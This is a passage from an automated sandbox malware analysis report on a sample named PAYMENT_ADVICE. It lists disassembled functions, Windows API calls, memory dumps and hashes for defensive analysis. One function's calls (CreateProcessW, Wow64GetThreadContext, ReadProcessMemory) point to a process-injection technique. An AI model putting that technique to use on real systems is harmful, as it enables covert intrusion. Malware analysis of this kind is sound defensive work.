                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Temp$FileNamePath
                                                              • String ID: aut
                                                              • API String ID: 3285503233-3010740371
                                                              • Opcode ID: 20cb189f165e890caa742136586d450f31f66aa90a818eb7c28f59e7128a12f3
                                                              • Instruction ID: e5731f6acfb206bc074afbace39c3bc9ef32a5bc54be1774bb184427ea3c021b
                                                              • Opcode Fuzzy Hash: 20cb189f165e890caa742136586d450f31f66aa90a818eb7c28f59e7128a12f3
                                                              • Instruction Fuzzy Hash: 08D05B7954030D6FDB519B90DC0DFEA773CD704700F0006B1FB54D1091DA7065548B91
                                                              Function 003BCADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 520f28c805d5b1faf6a8489b914900756ca30626c9cbfad81005b39d8dbfc7fd
                                                              • Instruction ID: d8d805587ed861408fd26fa3d90965cced4ff3437b4cadd5e0302c94870f5250
                                                              • Opcode Fuzzy Hash: 520f28c805d5b1faf6a8489b914900756ca30626c9cbfad81005b39d8dbfc7fd
                                                              • Instruction Fuzzy Hash: 43F16B746083009FCB25DF28C480A6ABBE5FF89318F14896EF9999B351D730E945CF82
                                                              Function 0034434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00344370
                                                              • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00344415
                                                              • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00344432
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: IconNotifyShell_$_memset
                                                              • String ID:
                                                              • API String ID: 1505330794-0
                                                              • Opcode ID: ef438f445b52b6c7baab905c643a5438d8fcbc53a2798751c36ffa8d8fc20a68
                                                              • Instruction ID: 9943573bf5872e46f5bb746f59258e5346dede7aea19bed33f79336f10f3d980
                                                              • Opcode Fuzzy Hash: ef438f445b52b6c7baab905c643a5438d8fcbc53a2798751c36ffa8d8fc20a68
                                                              • Instruction Fuzzy Hash: 8C317AB05057018FC722DF24D884B9BBBF8FF48708F00093EE69A9A251E770A944CB96
                                                              Function 0036571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • __FF_MSGBANNER.LIBCMT ref: 00365733
                                                                • Part of subcall function 0036A16B: __NMSG_WRITE.LIBCMT ref: 0036A192
                                                                • Part of subcall function 0036A16B: __NMSG_WRITE.LIBCMT ref: 0036A19C
                                                              • __NMSG_WRITE.LIBCMT ref: 0036573A
                                                                • Part of subcall function 0036A1C8: GetModuleFileNameW.KERNEL32(00000000,004033BA,00000104,?,00000001,00000000), ref: 0036A25A
                                                                • Part of subcall function 0036A1C8: ___crtMessageBoxW.LIBCMT ref: 0036A308
                                                                • Part of subcall function 0036309F: ___crtCorExitProcess.LIBCMT ref: 003630A5
                                                                • Part of subcall function 0036309F: ExitProcess.KERNEL32 ref: 003630AE
                                                                • Part of subcall function 00368B28: __getptd_noexit.LIBCMT ref: 00368B28
                                                              • RtlAllocateHeap.NTDLL(00FB0000,00000000,00000001,00000000,?,?,?,00360DD3,?), ref: 0036575F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                              • String ID:
                                                              • API String ID: 1372826849-0
                                                              • Opcode ID: 11d6d23cab7aaaf6795d176bb4da595120b656208b75321c09b9e4bd5187e7e1
                                                              • Instruction ID: fe428e74864ade12edf8e0d020e001b162799db9f581b75fd37d252e1983a3d6
                                                              • Opcode Fuzzy Hash: 11d6d23cab7aaaf6795d176bb4da595120b656208b75321c09b9e4bd5187e7e1
                                                              • Instruction Fuzzy Hash: 1101B135240B01DED6133B39EC92A2E778C9B82762F21853AF505AF2CADFB09C004665
                                                              Function 003A98A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,003A9548,?,?,?,?,?,00000004), ref: 003A98BB
                                                              • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,003A9548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 003A98D1
                                                              • CloseHandle.KERNEL32(00000000,?,003A9548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 003A98D8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: File$CloseCreateHandleTime
                                                              • String ID:
                                                              • API String ID: 3397143404-0
                                                              • Opcode ID: 019bc84b8cadfdf9b893be0f94ed861fd07299f87610093a39b46c5452f91d7d
                                                              • Instruction ID: f2c6a46f0cbfdb206c90da058942020aedaadbf6100e85139cf9000c1c1dcbad
                                                              • Opcode Fuzzy Hash: 019bc84b8cadfdf9b893be0f94ed861fd07299f87610093a39b46c5452f91d7d
                                                              • Instruction Fuzzy Hash: 06E08632141214BBD7232B54EC09FDA7B1EEB06760F144221FB14B90E087B125119798
                                                              Function 003A8D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 003A8D1B
                                                                • Part of subcall function 00362D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00369A24), ref: 00362D69
                                                                • Part of subcall function 00362D55: GetLastError.KERNEL32(00000000,?,00369A24), ref: 00362D7B
                                                              • _free.LIBCMT ref: 003A8D2C
                                                              • _free.LIBCMT ref: 003A8D3E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast
                                                              • String ID:
                                                              • API String ID: 776569668-0
                                                              • Opcode ID: e92dce40d9500f9ac2a34e83b90a716ef22a9282606ba49fbfd8bfa905bb999e
                                                              • Instruction ID: e6e6b3f99d924059397f329faa5d2134686a5525e6233d80333ffa7ff4749fd4
                                                              • Opcode Fuzzy Hash: e92dce40d9500f9ac2a34e83b90a716ef22a9282606ba49fbfd8bfa905bb999e
                                                              • Instruction Fuzzy Hash: 55E012A1601A014ACB26A778A940A9363DC9F59352716491DB46DEB18ADE64F8428124
                                                              Function 0034A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: CALL
                                                              • API String ID: 0-4196123274
                                                              • Opcode ID: 7d74da0467417c30f7153ac18ae8a6a5ff87a0a7e16a93d7a59608a93fbf1ece
                                                              • Instruction ID: 23d650859c0add4e19b20d86fbc0fe72098bcb1850ddfb4f9f11d18e6fa2f0c8
                                                              • Opcode Fuzzy Hash: 7d74da0467417c30f7153ac18ae8a6a5ff87a0a7e16a93d7a59608a93fbf1ece
                                                              • Instruction Fuzzy Hash: 23225770608701DFCB26DF14C491A2AB7E5FF85304F15896DE89A9F262D735EC85CB82
                                                              Function 003A77B3 Relevance: 3.1, APIs: 2, Instructions: 133COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID:
                                                              • API String ID: 4104443479-0
                                                              • Opcode ID: 581acef15f000437f8c72bb86bcc10c8d25e3a61704bf7c7145583f099166183
                                                              • Instruction ID: 1b4d47372d1481252649a3f69093893f492b1651c04659bf26156a1370ba3e13
                                                              • Opcode Fuzzy Hash: 581acef15f000437f8c72bb86bcc10c8d25e3a61704bf7c7145583f099166183
                                                              • Instruction Fuzzy Hash: 8941B4719082059BCB16EFA8DCC79AEB7FCEF0A300B248559E1459B242DB79AC01C760
                                                              Function 003447D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsThemeActive.UXTHEME ref: 00344834
                                                                • Part of subcall function 0036336C: __lock.LIBCMT ref: 00363372
                                                                • Part of subcall function 0036336C: DecodePointer.KERNEL32(00000001,?,00344849,00397C74), ref: 0036337E
                                                                • Part of subcall function 0036336C: EncodePointer.KERNEL32(?,?,00344849,00397C74), ref: 00363389
                                                                • Part of subcall function 003448FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00344915
                                                                • Part of subcall function 003448FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0034492A
                                                                • Part of subcall function 00343B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00343B68
                                                                • Part of subcall function 00343B3A: IsDebuggerPresent.KERNEL32 ref: 00343B7A
                                                                • Part of subcall function 00343B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,004052F8,004052E0,?,?), ref: 00343BEB
                                                                • Part of subcall function 00343B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00343C6F
                                                              • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00344874
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                                              • String ID:
                                                              • API String ID: 1438897964-0
                                                              • Opcode ID: 8d43a570cb64182e7ba2ee273ee5ea8710ad6a4110da480f31e302175b104923
                                                              • Instruction ID: 431153d9e01787c68dbd5bec3596ad72c80f8445593bbbb8dc7784071e61b658
                                                              • Opcode Fuzzy Hash: 8d43a570cb64182e7ba2ee273ee5ea8710ad6a4110da480f31e302175b104923
                                                              • Instruction Fuzzy Hash: F1118C719083059FC701DF28D945A0FBBE8EF85750F10452EF041AB2B1DBB0A954CF96
                                                              Function 00345C99 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00345821,?,?,?,?), ref: 00345CC7
                                                              • CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00345821,?,?,?,?), ref: 0037DD73
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateFile
                                                              • String ID:
                                                              • API String ID: 823142352-0
                                                              • Opcode ID: 90089df42d262b0c6ec20f41bdebb3059c2f4e411acd1f28d074bfe154eeb768
                                                              • Instruction ID: 405cfb282d1ce729b0b8daca127225bb413d7944f0419b15c97bdb69ea277a0f
                                                              • Opcode Fuzzy Hash: 90089df42d262b0c6ec20f41bdebb3059c2f4e411acd1f28d074bfe154eeb768
                                                              • Instruction Fuzzy Hash: 1B018070684708BFF3220E24CC8AF663ADCEF01768F108319BAE59E1E1C6B42C488B50
                                                              Function 00360DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0036571C: __FF_MSGBANNER.LIBCMT ref: 00365733
                                                                • Part of subcall function 0036571C: __NMSG_WRITE.LIBCMT ref: 0036573A
                                                                • Part of subcall function 0036571C: RtlAllocateHeap.NTDLL(00FB0000,00000000,00000001,00000000,?,?,?,00360DD3,?), ref: 0036575F
                                                              • std::exception::exception.LIBCMT ref: 00360DEC
                                                              • __CxxThrowException@8.LIBCMT ref: 00360E01
                                                                • Part of subcall function 0036859B: RaiseException.KERNEL32(?,?,?,003F9E78,00000000,?,?,?,?,00360E06,?,003F9E78,?,00000001), ref: 003685F0
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                              • String ID:
                                                              • API String ID: 3902256705-0
                                                              • Opcode ID: 2b19b6d3b4e51d9ef8a04c688bea7c689e0c729cbf4a7dd5d75590d3d97e1f3e
                                                              • Instruction ID: 7a40f65f548ed55c93cf02b118a43e5042f2a5c9d4f1f19aaa532eb0b9f5fe6c
                                                              • Opcode Fuzzy Hash: 2b19b6d3b4e51d9ef8a04c688bea7c689e0c729cbf4a7dd5d75590d3d97e1f3e
                                                              • Instruction Fuzzy Hash: ECF0287650031D66CB17BB95EC02ADF7BAC9F15311F108526FD189A289DFB19A40C2D1
                                                              Function 003655FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __lock_file_memset
                                                              • String ID:
                                                              • API String ID: 26237723-0
                                                              • Opcode ID: 1fe0a7773ae174da7688353143dbf989e03a4360fd42f749928f24d3506ae0e2
                                                              • Instruction ID: 727095f3e9e1105590fa57663a7cc804e3b72255babf5e04c946c65c04dae5d6
                                                              • Opcode Fuzzy Hash: 1fe0a7773ae174da7688353143dbf989e03a4360fd42f749928f24d3506ae0e2
                                                              • Instruction Fuzzy Hash: AC01F771800A08EBCF13AF69DC028AE7B61AF50361F41C225F8241F199DB718A11DFA1
                                                              Function 003653A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00368B28: __getptd_noexit.LIBCMT ref: 00368B28
                                                              • __lock_file.LIBCMT ref: 003653EB
                                                                • Part of subcall function 00366C11: __lock.LIBCMT ref: 00366C34
                                                              • __fclose_nolock.LIBCMT ref: 003653F6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                              • String ID:
                                                              • API String ID: 2800547568-0
                                                              • Opcode ID: 40a13043c3675881375eb4f9461b1b8dde9900a53821d395dcef09bb655ddb65
                                                              • Instruction ID: a9960116f1e6288233470dea5167a54e3d44202e901d6b8837a6d8dcda38d65c
                                                              • Opcode Fuzzy Hash: 40a13043c3675881375eb4f9461b1b8dde9900a53821d395dcef09bb655ddb65
                                                              • Instruction Fuzzy Hash: 41F09671800A059ADB136F6598027AD7AE06F41774F35C319E424AF2C9CFBC49419B51
                                                              Function 00D9129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000), ref: 00D91A5B
                                                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00D91AF1
                                                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D91B13
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                              • String ID:
                                                              • API String ID: 2438371351-0
                                                              • Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                              • Instruction ID: 4723d0cc4f9fd2b140b530c9b2d6827c5797acf066174ad5c9161c761bfd0ba5
                                                              • Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                              • Instruction Fuzzy Hash: 9412CE24E14658C6EB24DF64D8507DEB232EF68300F1090E9910DEB7A5E77A4F81CF5A
                                                              Function 0034F290 Relevance: 1.7, APIs: 1, Instructions: 185COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
